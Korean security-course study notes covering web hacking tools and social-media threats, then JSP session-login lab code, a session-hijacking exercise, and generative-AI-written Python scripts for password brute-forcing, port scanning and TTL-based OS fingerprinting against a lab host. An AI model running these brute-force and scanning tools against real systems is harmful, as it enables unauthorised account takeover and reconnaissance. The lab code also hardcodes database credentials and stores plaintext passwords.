SKS 공부 - 2025-12-23

SKS 홈으로
40회차 공부

한줄요약:
    애플리케이션 보안 - **웹 해커**는 **Burp Suite와 취약점 스캐너**를 통해 기술적 허점을 공략하는 반면, **SNS 환경**에서는 기술적 보안뿐만 아니라 **사칭(이블 트윈) 및 피싱**과 같은 사회공학적 위협에 대비하는 사용자의 보안 인식이 필수적입니다.

오늘 공부한 내용:
  • 
    
    
    ## 🛠️ 웹 해커의 도구 및 SNS 보안 위협 요약
    
    
    ---
    
    ## 1. Chapter 07: 웹 해커의 필수 도구
    
    웹 취약점을 분석하고 공격을 수행하기 위해 해커는 다음과 같은 도구들을 활용합니다.
    
    ### A. 웹 브라우저 개발자 도구 (F12)
    
    * **기능**: HTML/CSS 코드 수정, 네트워크 패킷 분석, 쿠키 값 확인.
    * **특징**: 크롬, 엣지, 파이어폭스 등 현대적인 브라우저는 모두 강력한 개발자 도구를 내장하고 있어 별도의 도구 없이도 기본적인 취약점 분석이 가능합니다.
    
    ### B. Burp Suite (웹 프록시 도구)
    
    웹 서버와 브라우저 사이에서 패킷을 가로채고 수정하는 가장 핵심적인 도구입니다.
    
    * **Target**: 웹 사이트의 전체 디렉터리 구조와 HTTP 헤더 정보를 한눈에 파악.
    * **Intruder**: 변숫값을 자동으로 변경하며 반복 요청을 보내는 기능 (무작위 대입 공격 등).
    * **Repeater**: 특정 요청을 수정하여 반복적으로 전송하고 응답을 확인하는 기능.
    
    ### C. 웹 취약점 스캐너
    
    자동으로 취약점을 찾아주는 도구로, 효율적인 보안 진단을 돕습니다.
    
    * **Nikto / Sqlmap**: 특정 목적(서버 설정, SQL 인젝션)에 특화된 오픈소스 스캐너.
    * **Acunetix / AppScan**: 종합적인 취약점 진단 및 상세 보고서 생성이 가능한 상용 솔루션.
    
    ---
    
    ## 2. Chapter 08: SNS 보안 위협과 대응
    
    웹 2.0 시대의 도래로 사용자의 참여가 늘어나면서, 기술적 취약점뿐만 아니라 **사람을 대상으로 하는 사회공학적 공격**이 증가했습니다.
    
    ### 주요 SNS 보안 위협 및 대응
    
    | 위협 유형 | 내용 설명 | 대응 방안 |
    | --- | --- | --- |
    | **악성 소프트웨어** | SNS 링크나 앱을 통해 웜, 랜섬웨어 유포 | 출처 불분명한 링크 클릭 금지, 최신 백신 유지 |
    | **피싱 (Phishing)** | 가짜 사이트로 유도하여 개인정보 탈취 | URL 주소 확인, 개인정보 요구 시 직접 확인 |
    | **이블 트윈 (Evil Twin)** | 유명인/지인을 사칭한 가짜 계정 생성 | SNS 공개 범위 설정(친구 공개 등) 및 사칭 신고 |
    | **신원 도용** | 타인의 정보를 이용한 사기 행위 | 118(개인정보침해신고) 등 전문 기관 신고 |
    | **사이버 폭력** | 온라인상의 지속적인 음해와 괴롭힘 | 메시지 증거 보관, 무시 및 차단, 교육 실시 |
    
    ---
    
    <12. 23일>
    
    (세션) 로그인 사이트를 만들자.
    mkdir /var/lib/tomcat10/webapps/ROOT/session 
    cd /var/lib/tomcat10/webapps/ROOT/session
    1. 로그인 페이지 (login.jsp)
    
    <%@ page contentType="text/html;charset=UTF-8" %>
    <html>
    <head><title>로그인</title></head>
    <body>
    <h2>로그인</h2>
    <form action="loginCheck.jsp" method="post">
        아이디: <input type="text" name="uname"><br>
        비밀번호: <input type="password" name="pass"><br>
        <input type="submit" value="로그인">
    </form>
    <%
        String error = request.getParameter("error");
        if (error != null && error.equals("1")) {
            out.print("<p style='color:red'>로그인 실패</p>");
        }
    %>
    </body>
    </html>
    
    
    
    
    2. 로그인 체크 (loginCheck.jsp)
    
    <%@ page import="java.sql.*" %>
    <%
        // DB 연결 정보
        String driver = "org.mariadb.jdbc.Driver";
        String url = "jdbc:mariadb://localhost:3306/cloud_db";
        String dbUser = "mydb";
        String dbPass = "mydb123";  // 실제 비밀번호로 변경
        
        // 사용자 입력:
    
        String uname = request.getParameter("uname");
        String pass = request.getParameter("pass");
        
        Connection conn = null;
        PreparedStatement pstmt = null;
        ResultSet rs = null;
        
        try {
            Class.forName(driver);
            conn = DriverManager.getConnection(url, dbUser, dbPass);
            
            // userInfo 테이블에서 사용자 조회
            String sql = "SELECT uid, uname, priority FROM userInfo WHERE uname=? AND pass=?";
            pstmt = conn.prepareStatement(sql);
            pstmt.setString(1, uname);
            pstmt.setString(2, pass);
            
            rs = pstmt.executeQuery();
            
            if (rs.next()) {
                // 로그인 성공 - 세션에 저장
                session.setAttribute("uid", rs.getInt("uid"));
                session.setAttribute("uname", rs.getString("uname"));
                session.setAttribute("priority", rs.getInt("priority"));
                session.setAttribute("login", "true");
                
                response.sendRedirect("main.jsp");
            } else {
                response.sendRedirect("login.jsp?error=1");
            }
        } catch(Exception e) {
            e.printStackTrace();
            response.sendRedirect("login.jsp?error=1");
        } finally {
            if (rs != null) try { rs.close(); } catch(Exception e) {}
            if (pstmt != null) try { pstmt.close(); } catch(Exception e) {}
            if (conn != null) try { conn.close(); } catch(Exception e) {}
        }
    %>
    
    
    3. 메인 페이지 (main.jsp)
    
    <%@ page contentType="text/html;charset=UTF-8" %>
    <%
        // 세션 체크
        if (session.getAttribute("login") == null || 
            !session.getAttribute("login").equals("true")) {
            response.sendRedirect("login.jsp");
            return;
        }
    %>
    <html>
    <head><title>메인</title></head>
    <body>
    <h2>메인 페이지</h2>
    <p>환영합니다, <%= session.getAttribute("uname") %>님!</p>
    <p>사용자 ID: <%= session.getAttribute("uid") %></p>
    <p>권한 레벨: <%= session.getAttribute("priority") %></p>
    <hr>
    <a href="mypage.jsp">마이페이지</a> | 
    <a href="board.jsp">게시판</a> | 
    <a href="logout.jsp">로그아웃</a>
    </body>
    </html>
    
    
    4. 세션 체크 모듈 (sessionCheck.jsp)
    
    <%
        // 세션 체크 함수
        boolean isLogin = session.getAttribute("login") != null && 
                         session.getAttribute("login").equals("true");
        
        // 로그인 안되어 있으면 로그인 페이지로
        if (!isLogin) {
            response.sendRedirect("login.jsp");
            return;  // 중요: 실행 중지
        }
    %>
    
    
    5. 보호된 페이지 예제 (mypage.jsp)
    
    <%@ page contentType="text/html;charset=UTF-8" %>
    <%@ include file="sessionCheck.jsp" %>
    <html>
    <head><title>마이페이지</title></head>
    <body>
    <h2>마이페이지</h2>
    <h3>세션 정보</h3>
    <ul>
        <li>아이디: <%= session.getAttribute("uname") %></li>
        <li>UID: <%= session.getAttribute("uid") %></li>
        <li>권한: <%= session.getAttribute("priority") %></li>
        <li>세션 ID: <%= session.getId() %></li>
    </ul>
    <hr>
    <a href="main.jsp">메인으로</a> | 
    <a href="logout.jsp">로그아웃</a>
    </body>
    </html>
    
    
    6. 또 다른 보호된 페이지 (board.jsp)
    
    <%@ page contentType="text/html;charset=UTF-8" %>
    <%
        // 인라인 세션 체크 (간단한 방법)
        if (session.getAttribute("login") == null || 
            !session.getAttribute("login").equals("true")) {
            response.sendRedirect("login.jsp?error=2");
            return;
        }
    %>
    <html>
    <head><title>게시판</title></head>
    <body>
    <h2>게시판</h2>
    <p>로그인 유저: <%= session.getAttribute("uname") %>님</p>
    <h3>글 목록</h3>
    <ul>
        <li>공지: <%= session.getAttribute("uname") %>님 환영합니다</li>
        <li>JSP 세션 관리</li>
        <li>MariaDB 연동</li>
    </ul>
    <hr>
    <a href="main.jsp">메인</a> | 
    <a href="logout.jsp">로그아웃</a>
    </body>
    </html>
    
    
    
    
    
    7. 로그아웃 (logout.jsp)
    
    <%
        // 세션 초기화
        session.invalidate();
        response.sendRedirect("login.jsp");
    %>
    
    
    
    9. 보호된 페이지 최소 버전 (simplePage.jsp)
    
    <%@ page contentType="text/html;charset=UTF-8" %>
    <% if(session.getAttribute("login")==null) response.sendRedirect("login.jsp"); %>
    <html>
    <head><title>보호된 페이지</title></head>
    <body>
    <h2>보호된 페이지</h2>
    <p>로그인된 사용자만 볼 수 있습니다.</p>
    <p>사용자: <%= session.getAttribute("uname") %></p>
    </body>
    </html>
    
    
    
    
    (미션) 사이트 완성 후, 크롬 브라우저에서 로그인 후, 엣지 브라우저에서 세션을 복사(탈취)해와서 관리자 로그인을 우회하라.
    
    Burf suite intruder Attack type 
    
    
    
    
     (생성형 AI를 활용한) 직접 BT 공격도구 만들기
    질문1 : 부르트포스 웹공격을 시도해 보려고 한다. 스크립트로 시도를 하는데, 다음과 같은 형식으로 외부에서 사전파일, 공격 url, 공격 파라메터를 지정할 수 있도록 스크립트를 작성하라.
    질문 2 : ost 공격에서, 두개의 파라메터가 필요한데, 하나는 사용자 ID이고, 이부분은 내가 지정할 수 있어야 한다. 다른 파라메터에 무작위대입공격을 시도한다.
    
    사용법 : python3 brute_force.py --wordlist passwords.txt --url http://example.com/login --userparam username --userid admin --attackparam password
    
    실제 사용 : python3 brute_force.py  --wordlist dic.txt  --url http://192.168.186.131/session/loginCheck.jsp --userparam uname --userid admin --attackparam pass --show-all
    
    #!/usr/bin/env python3
    """
    웹 애플리케이션 부르트포스 공격 테스트 스크립트 (두 개의 파라미터)
    모든 응답 크기 출력 기능 추가
    """
    
    import requests
    import sys
    import time
    import argparse
    import json
    from threading import Thread, Lock
    from queue import Queue
    from datetime import datetime
    
    class BruteForceTester:
        def __init__(self, url, user_param, user_id, attack_param, wordlist_path, threads=5, delay=0.1, 
                     show_all_responses=False, save_all_responses=False):
            """
            초기화 함수
            
            Args:
                url (str): 공격 대상 URL
                user_param (str): 사용자 ID 파라미터 이름
                user_id (str): 고정 사용자 ID 값
                attack_param (str): 공격할 파라미터 이름
                wordlist_path (str): 사전 파일 경로
                threads (int): 동시에 사용할 스레드 수
                delay (float): 요청 간 지연 시간(초)
                show_all_responses (bool): 모든 응답 크기 출력 여부
                save_all_responses (bool): 모든 응답 저장 여부
            """
            self.url = url
            self.user_param = user_param
            self.user_id = user_id
            self.attack_param = attack_param
            self.wordlist_path = wordlist_path
            self.threads = threads
            self.delay = delay
            self.show_all_responses = show_all_responses
            self.save_all_responses = save_all_responses
            
            self.queue = Queue()
            self.found_credentials = []
            self.all_responses = []  # 모든 응답 정보 저장
            self.lock = Lock()
            self.attempts = 0
            self.success_count = 0
            
            # 결과 파일
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            self.results_file = f"brute_force_results_{user_id}_{timestamp}.txt"
            self.responses_file = f"all_responses_{user_id}_{timestamp}.json"
            
        def load_wordlist(self):
            """사전 파일을 읽어 큐에 로드"""
            try:
                with open(self.wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
                    words = f.read().splitlines()
                    
                for word in words:
                    if word.strip():  # 빈 줄 무시
                        self.queue.put(word.strip())
                        
                print(f"[+] 사전 파일에서 {self.queue.qsize()}개의 단어를 로드했습니다.")
                return True
                
            except FileNotFoundError:
                print(f"[-] 오류: '{self.wordlist_path}' 파일을 찾을 수 없습니다.")
                return False
            except Exception as e:
                print(f"[-] 파일 읽기 오류: {e}")
                return False
        
        def test_credential(self, attack_value):
            """단일 자격 증명 테스트"""
            try:
                # POST 요청 데이터 준비 (고정 사용자 ID + 공격값)
                payload = {
                    self.user_param: self.user_id,
                    self.attack_param: attack_value
                }
                
                # 요청 헤더 설정
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'Accept-Language': 'en-US,en;q=0.5',
                    'Content-Type': 'application/x-www-form-urlencoded',
                    'Referer': self.url,
                }
                
                # POST 요청 전송
                start_time = time.time()
                response = requests.post(self.url, data=payload, headers=headers, timeout=10, allow_redirects=True)
                response_time = time.time() - start_time
                
                # 응답 정보 수집
                response_info = {
                    'timestamp': datetime.now().isoformat(),
                    'user_param': self.user_param,
                    'user_id': self.user_id,
                    'attack_param': self.attack_param,
                    'attack_value': attack_value,
                    'status_code': response.status_code,
                    'response_size': len(response.content),
                    'response_time': response_time,
                    'headers': dict(response.headers),
                    'url_redirected': response.url,
                    'success': False
                }
                
                # 응답 분석
                success = self.analyze_response(response, attack_value, response_time)
                
                if success:
                    with self.lock:
                        self.success_count += 1
                        response_info['success'] = True
                        
                        result = f"[+] 발견: {self.user_param}='{self.user_id}', {self.attack_param}='{attack_value}'"
                        result += f" (상태코드: {response.status_code}, 응답크기: {len(response.content)} bytes, 응답시간: {response_time:.2f}s)"
                        self.found_credentials.append((attack_value, response.status_code, response_time, len(response.content)))
                        
                        print(result)
                        
                        # 결과 파일에 저장
                        with open(self.results_file, 'a', encoding='utf-8') as f:
                            f.write(f"{result}\n")
                else:
                    with self.lock:
                        self.attempts += 1
                
                # 모든 응답 정보 저장
                with self.lock:
                    self.all_responses.append(response_info)
                
                # 모든 응답 크기 출력 옵션이 켜져 있을 경우
                if self.show_all_responses:
                    status_color = "\033[92m" if success else "\033[91m"  # 성공: 녹색, 실패: 빨간색
                    reset_color = "\033[0m"
                    
                    print(f"{status_color}[*] 응답: {self.attack_param}='{attack_value}' | "
                          f"상태코드: {response.status_code} | "
                          f"크기: {len(response.content)} bytes | "
                          f"시간: {response_time:.2f}s{reset_color}")
                
                # 정기적 진행 상황 출력
                with self.lock:
                    if self.attempts % 20 == 0 and not self.show_all_responses:
                        print(f"[*] 진행 상황: {self.attempts}개 시도, {self.success_count}개 발견")
                        if self.attempts > 0 and len(self.all_responses) > 0:
                            # 응답 크기 통계 출력
                            sizes = [r['response_size'] for r in self.all_responses[-20:]]
                            avg_size = sum(sizes) / len(sizes)
                            print(f"    최근 20개 응답 평균 크기: {avg_size:.0f} bytes")
            
            except requests.exceptions.Timeout:
                print(f"[!] 타임아웃: {self.attack_param} = '{attack_value}'")
            except requests.exceptions.ConnectionError:
                print(f"[!] 연결 오류: {self.attack_param} = '{attack_value}'")
                time.sleep(5)
            except requests.exceptions.RequestException as e:
                print(f"[!] 요청 오류: {e}")
            except Exception as e:
                print(f"[!] 예상치 못한 오류: {e}")
            
            time.sleep(self.delay)
        
        def analyze_response(self, response, attack_value, response_time):
            """
            응답 분석 - 대상 애플리케이션에 맞게 수정 필요
            
            Returns:
                bool: 공격 성공 여부
            """
            # 응답 크기 기반 판단 (예시)
            response_size = len(response.content)
            
            # 상태 코드 기반 판단
            if response.status_code == 302 or response.status_code == 303:
                print(f"[?] 리다이렉션: {self.attack_param}='{attack_value}' -> {response.headers.get('Location', '알수없음')}")
                return True
            
            # 응답 크기 패턴 (사용자 정의 필요)
            if response_size < 500:  # 너무 짧은 응답
                return False
            elif response_size > 10000:  # 긴 응답 (성공 가능성)
                # 추가 패턴 검사
                response_text = response.text.lower()
                failure_keywords = ['incorrect', 'invalid', 'wrong', 'error', 'fail', '잘못', '오류']
                
                for keyword in failure_keywords:
                    if keyword in response_text:
                        return False
                return True
            
            # 기본 실패 판단
            return False
        
        def worker(self):
            """작업자 스레드 함수"""
            while not self.queue.empty():
                try:
                    word = self.queue.get(timeout=1)
                    self.test_credential(word)
                    self.queue.task_done()
                except:
                    break
        
        def save_response_statistics(self):
            """응답 통계 저장"""
            if not self.all_responses:
                return
                
            # 응답 크기 통계 계산
            sizes = [r['response_size'] for r in self.all_responses]
            status_codes = [r['status_code'] for r in self.all_responses]
            
            stats = {
                'total_requests': len(self.all_responses),
                'successful_attempts': self.success_count,
                'average_response_size': sum(sizes) / len(sizes),
                'min_response_size': min(sizes),
                'max_response_size': max(sizes),
                'status_code_distribution': {code: status_codes.count(code) for code in set(status_codes)},
                'unique_response_sizes': list(sorted(set(sizes))),
                'response_size_frequency': {size: sizes.count(size) for size in set(sizes) if sizes.count(size) > 1}
            }
            
            # 통계 파일 저장
            stats_file = self.responses_file.replace('.json', '_stats.json')
            with open(stats_file, 'w', encoding='utf-8') as f:
                json.dump(stats, f, indent=2, ensure_ascii=False)
            
            print(f"[+] 응답 통계가 '{stats_file}' 파일에 저장되었습니다.")
            
            # 통계 출력
            print("\n" + "=" * 70)
            print("[*] 응답 통계 요약")
            print(f"    총 요청 수: {stats['total_requests']}")
            print(f"    성공 시도: {stats['successful_attempts']}")
            print(f"    평균 응답 크기: {stats['average_response_size']:.0f} bytes")
            print(f"    최소 응답 크기: {stats['min_response_size']} bytes")
            print(f"    최대 응답 크기: {stats['max_response_size']} bytes")
            
            print(f"\n[*] 상태 코드 분포:")
            for code, count in stats['status_code_distribution'].items():
                percentage = (count / stats['total_requests']) * 100
                print(f"    {code}: {count}회 ({percentage:.1f}%)")
            
            # 가장 흔한 응답 크기
            if stats['response_size_frequency']:
                common_sizes = sorted(stats['response_size_frequency'].items(), key=lambda x: x[1], reverse=True)[:5]
                print(f"\n[*] 가장 흔한 응답 크기:")
                for size, freq in common_sizes:
                    percentage = (freq / stats['total_requests']) * 100
                    print(f"    {size} bytes: {freq}회 ({percentage:.1f}%)")
        
        def run(self):
            """부르트포스 공격 실행"""
            print("\n" + "=" * 80)
            print("[*] 부르트포스 공격 시작")
            print(f"[*] 대상 URL: {self.url}")
            print(f"[*] 고정 파라미터: {self.user_param} = '{self.user_id}'")
            print(f"[*] 공격 파라미터: {self.attack_param}")
            print(f"[*] 사전 파일: {self.wordlist_path}")
            print(f"[*] 스레드 수: {self.threads}")
            print(f"[*] 요청 지연: {self.delay}초")
            print(f"[*] 모든 응답 출력: {'켜짐' if self.show_all_responses else '꺼짐'}")
            print(f"[*] 모든 응답 저장: {'켜짐' if self.save_all_responses else '꺼짐'}")
            print("=" * 80)
            
            # 사전 파일 로드
            if not self.load_wordlist():
                return
            
            # 결과 파일 초기화
            with open(self.results_file, 'w', encoding='utf-8') as f:
                f.write(f"부르트포스 공격 결과\n")
                f.write(f"대상 URL: {self.url}\n")
                f.write(f"고정 파라미터: {self.user_param} = '{self.user_id}'\n")
                f.write(f"공격 파라미터: {self.attack_param}\n")
                f.write(f"사전 파일: {self.wordlist_path}\n")
                f.write(f"시작 시간: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write("=" * 80 + "\n")
            
            # 작업자 스레드 시작
            threads = []
            for i in range(self.threads):
                t = Thread(target=self.worker)
                t.daemon = True
                t.start()
                threads.append(t)
            
            # 진행률 표시
            print("[*] 공격 진행 중... (Ctrl+C로 중지)")
            
            start_time = time.time()
            
            try:
                # 모든 작업 완료 대기
                while any(t.is_alive() for t in threads):
                    for t in threads:
                        t.join(timeout=0.5)
                    
                    # 진행률 표시
                    elapsed = time.time() - start_time
                    qsize = self.queue.qsize()
                    total = self.attempts + qsize
                    
                    if total > 0:
                        completed = self.attempts
                        progress = (completed / total) * 100
                        speed = completed / elapsed if elapsed > 0 else 0
                        
                        print(f"\r[*] 진행률: {progress:.1f}% | 완료: {completed}/{total} | 속도: {speed:.1f} req/s | 시간: {elapsed:.0f}s", end='')
                        sys.stdout.flush()
                        
            except KeyboardInterrupt:
                print("\n\n[!] 사용자에 의해 중지되었습니다.")
            
            # 모든 응답 정보 저장
            if self.save_all_responses and self.all_responses:
                with open(self.responses_file, 'w', encoding='utf-8') as f:
                    json.dump(self.all_responses, f, indent=2, ensure_ascii=False, default=str)
                print(f"[+] 모든 응답 정보가 '{self.responses_file}' 파일에 저장되었습니다.")
            
            # 응답 통계 저장 및 출력
            self.save_response_statistics()
            
            # 결과 출력
            elapsed_total = time.time() - start_time
            print("\n\n" + "=" * 80)
            print("[*] 부르트포스 공격 완료")
            print(f"[*] 총 시간: {elapsed_total:.1f}초")
            print(f"[*] 총 시도: {self.attempts}")
            print(f"[*] 발견된 항목: {self.success_count}")
            
            if self.found_credentials:
                print("\n[+] 발견된 항목 목록:")
                for i, (cred, status, resp_time, resp_size) in enumerate(self.found_credentials, 1):
                    print(f"    {i:2d}. {self.attack_param}: '{cred}'")
                    print(f"        상태코드: {status}, 응답크기: {resp_size} bytes, 응답시간: {resp_time:.2f}s")
                print(f"\n[+] 상세 결과는 '{self.results_file}' 파일에 저장되었습니다.")
            else:
                print("\n[-] 발견된 항목이 없습니다.")
            
            print(f"[*] 종료 시간: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    
    def main():
        """메인 함수 - 명령행 인자 처리"""
        parser = argparse.ArgumentParser(
            description='모든 응답 크기 출력 기능이 추가된 부르트포스 공격 스크립트',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    사용 예시:
      # 기본 사용법 (모든 응답 출력)
      python brute_force.py --wordlist passwords.txt --url http://example.com/login --userparam username --userid admin --attackparam password --show-all
      
      # 모든 응답 저장 포함
      python brute_force.py -w passwords.txt -u http://test.com/login -U username -i admin -a password --show-all --save-all
      
      # 응답 출력 없이 통계만
      python brute_force.py -w rockyou.txt -u https://target.com/auth -U email -i user@test.com -a passwd -t 10
            
    주의: 이 스크립트는 교육 및 합법적인 보안 테스트 목적으로만 사용해야 합니다.
            """
        )
        
        # 필수 인자
        parser.add_argument('-w', '--wordlist', required=True, help='사전 파일 경로')
        parser.add_argument('-u', '--url', required=True, help='공격 대상 URL')
        parser.add_argument('-U', '--userparam', required=True, help='사용자 ID 파라미터 이름')
        parser.add_argument('-i', '--userid', required=True, help='고정 사용자 ID 값')
        parser.add_argument('-a', '--attackparam', required=True, help='공격할 파라미터 이름')
        
        # 선택적 인자
        parser.add_argument('-t', '--threads', type=int, default=5, help='동시 스레드 수 (기본값: 5)')
        parser.add_argument('-d', '--delay', type=float, default=0.1, help='요청 간 지연 시간(초) (기본값: 0.1)')
        parser.add_argument('--timeout', type=int, default=10, help='요청 타임아웃(초) (기본값: 10)')
        
        # 새로운 옵션: 모든 응답 출력 및 저장
        parser.add_argument('--show-all', action='store_true', help='모든 응답 크기 출력')
        parser.add_argument('--save-all', action='store_true', help='모든 응답 정보 저장')
        
        args = parser.parse_args()
        
        # 공격기 생성 및 실행
        tester = BruteForceTester(
            url=args.url,
            user_param=args.userparam,
            user_id=args.userid,
            attack_param=args.attackparam,
            wordlist_path=args.wordlist,
            threads=args.threads,
            delay=args.delay,
            show_all_responses=args.show_all,
            save_all_responses=args.save_all
        )
        
        tester.run()
    
    if __name__ == "__main__":
        # 법적 고지 사항
        print("=" * 80)
        print("경고: 이 스크립트는 합법적인 보안 평가 및 교육 목적으로만 사용해야 합니다.")
        print("허가 없이 타인의 시스템을 테스트하는 것은 불법입니다.")
        print("=" * 80 + "\n")
        
        # 사용자 확인
        try:
            response = input("계속하시겠습니까? (y/n): ")
            if response.lower() != 'y':
                print("작업이 취소되었습니다.")
                sys.exit(0)
        except KeyboardInterrupt:
            print("\n작업이 취소되었습니다.")
            sys.exit(0)
        
        main()
    
    
    
    
    
    웹서버 실시간 로그 관제
    tail -f /var/log/nginx/access.log
    
    
    
    서버에서 tcpdump를 이용한 스니핑을 해보자
    
    1.(웹서버)
    # 각 패킷에서 최대 1500바이트만 캡처
    sudo tcpdump -i ens33 port 80 -s 1500 -w http_capture.pcap (Ctrl+C로 멈출수 있음)
    2. (공격자)
    브루투포스 공격 시도….
    3. 관제 담당 PC
    생성된 pcap파일을 내 윈도우로 받아서 분석해 보자.
    실행->cmd ->cd c:\Temp -> scp yoyo@192.168.186.131:/home/yoyo/wcap.pcap ./
    와이어샤크로 다운로드 받은 pcap 파일을 열고, http 패킷을 찾아, 마우스 우클릭 -> Fallow HTTP stream 수행 -> 실제 송수신된 text http 데이터를 볼 수 있다.
    
    
    
    포트 스캐너를 만들어 보자.
    질문1 : 특정 IP에 대해 포트스캔을 하고 싶다. 간단한 포트스캔 스크립트를 작성하라.
    질문2 : 코드를 최대한 간단하게 만들고, connect 요청 후 탐지되는 포트에 대해 열림만 표시해주면 된다.
    
    #!/usr/bin/env python3
    """
    간단한 포트 스캔 스크립트
    사용법: python port_scanner.py <IP> [시작포트] [종료포트]
    """
    
    import socket
    import sys
    
    def scan_port(ip, port):
        """단일 포트 스캔"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            result = sock.connect_ex((ip, port))
            sock.close()
            return result == 0
        except:
            return False
    
    def main():
        # 인자 확인
        if len(sys.argv) < 2:
            print("사용법: python port_scanner.py <IP> [시작포트] [종료포트]")
            print("예시: python port_scanner.py 192.168.1.1")
            print("예시: python port_scanner.py 192.168.1.1 1 100")
            sys.exit(1)
        
        # 기본값 설정
        ip = sys.argv[1]
        start_port = 1
        end_port = 1024  # 잘 알려진 포트
        
        # 포트 범위 지정
        if len(sys.argv) >= 4:
            start_port = int(sys.argv[2])
            end_port = int(sys.argv[3])
        
        print(f"[*] {ip} 포트 스캔 시작 ({start_port}-{end_port})")
        
        # 포트 스캔 실행
        open_ports = []
        for port in range(start_port, end_port + 1):
            if scan_port(ip, port):
                open_ports.append(port)
                print(f"[+] 포트 {port} 열림")
        
        # 결과 요약
        print(f"\n[*] 스캔 완료: {len(open_ports)}개 포트 열림")
    
    if __name__ == "__main__":
        main()
    
    
    
    
    
    운영체제 스캔도 해보자.
     
    질몬 1 : 원격의 운영체제를 스캔하고 싶다. 나는 TTL 값과 icmp 프로토콜, SYN 값을 이용하여 상대방의 운영체제를 확인하는 코드를 작성하라.
    
    (간단한 버전)
    #!/usr/bin/env python3
    """
    TTL 값을 이용한 간단한 OS 스캐너
    사용법: python simple_os.py <IP>
    """
    
    import socket
    import struct
    import sys
    import time
    
    def get_os_from_ttl(ttl):
        """TTL 값으로 OS 판별"""
        if ttl <= 64:
            return "Linux/Unix/MacOS"
        elif ttl <= 128:
            return "Windows"
        elif ttl <= 255:
            return "Solaris/Cisco"
        else:
            return "Unknown"
    
    def check_os_ttl(ip):
        """ICMP를 통해 TTL 값 확인"""
        print(f"[*] {ip}의 OS 확인 중...")
        
        # ICMP Echo Request 패킷 생성
        try:
            # RAW 소켓 생성 (관리자 권한 필요)
            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
            sock.settimeout(3)
            
            # ICMP 패킷 생성
            packet_id = 12345
            packet_seq = 1
            
            # ICMP 헤더 생성
            header = struct.pack('bbHHh', 8, 0, 0, packet_id, packet_seq)
            
            # 체크섬 계산
            checksum = 0
            for i in range(0, len(header), 2):
                word = header[i] + (header[i+1] << 8)
                checksum += word
            
            checksum = (checksum >> 16) + (checksum & 0xffff)
            checksum = ~checksum & 0xffff
            
            # 완전한 패킷
            packet = struct.pack('bbHHh', 8, 0, socket.htons(checksum), packet_id, packet_seq)
            
            # 패킷 전송
            sock.sendto(packet, (ip, 0))
            
            # 응답 수신
            response, addr = sock.recvfrom(1024)
            
            # TTL 값 추출 (IP 헤더의 8번째 바이트)
            ttl = response[8]
            
            print(f"[+] TTL 값: {ttl}")
            
            # OS 판별
            os_guess = get_os_from_ttl(ttl)
            print(f"[+] 추정 OS: {os_guess}")
            
            sock.close()
            return os_guess
            
        except socket.timeout:
            print("[-] 응답 시간 초과")
            return None
        except PermissionError:
            print("[-] 관리자 권한이 필요합니다.")
            print("[-] sudo로 실행하거나 관리자 권한으로 실행하세요.")
            return None
        except Exception as e:
            print(f"[-] 오류: {e}")
            return None
    
    def main():
        if len(sys.argv) < 2:
            print("사용법: python simple_os.py <IP>")
            print("예시: python simple_os.py 192.168.1.1")
            print("\n주의: 관리자/루트 권한이 필요합니다.")
            sys.exit(1)
        
        ip = sys.argv[1]
        result = check_os_ttl(ip)
        
        if result:
            print(f"\n[*] 최종 결과: {result}")
        else:
            print("\n[-] OS 감지 실패")
    
    if __name__ == "__main__":
        print("[*] 간단한 OS 스캐너")
        print("[*] TTL 값을 기반으로 OS를 추정합니다")
        main()
    
    
    
    
    
    의존성 해결
    apt install python3-pip
    pip3 install scapy --break-system-packages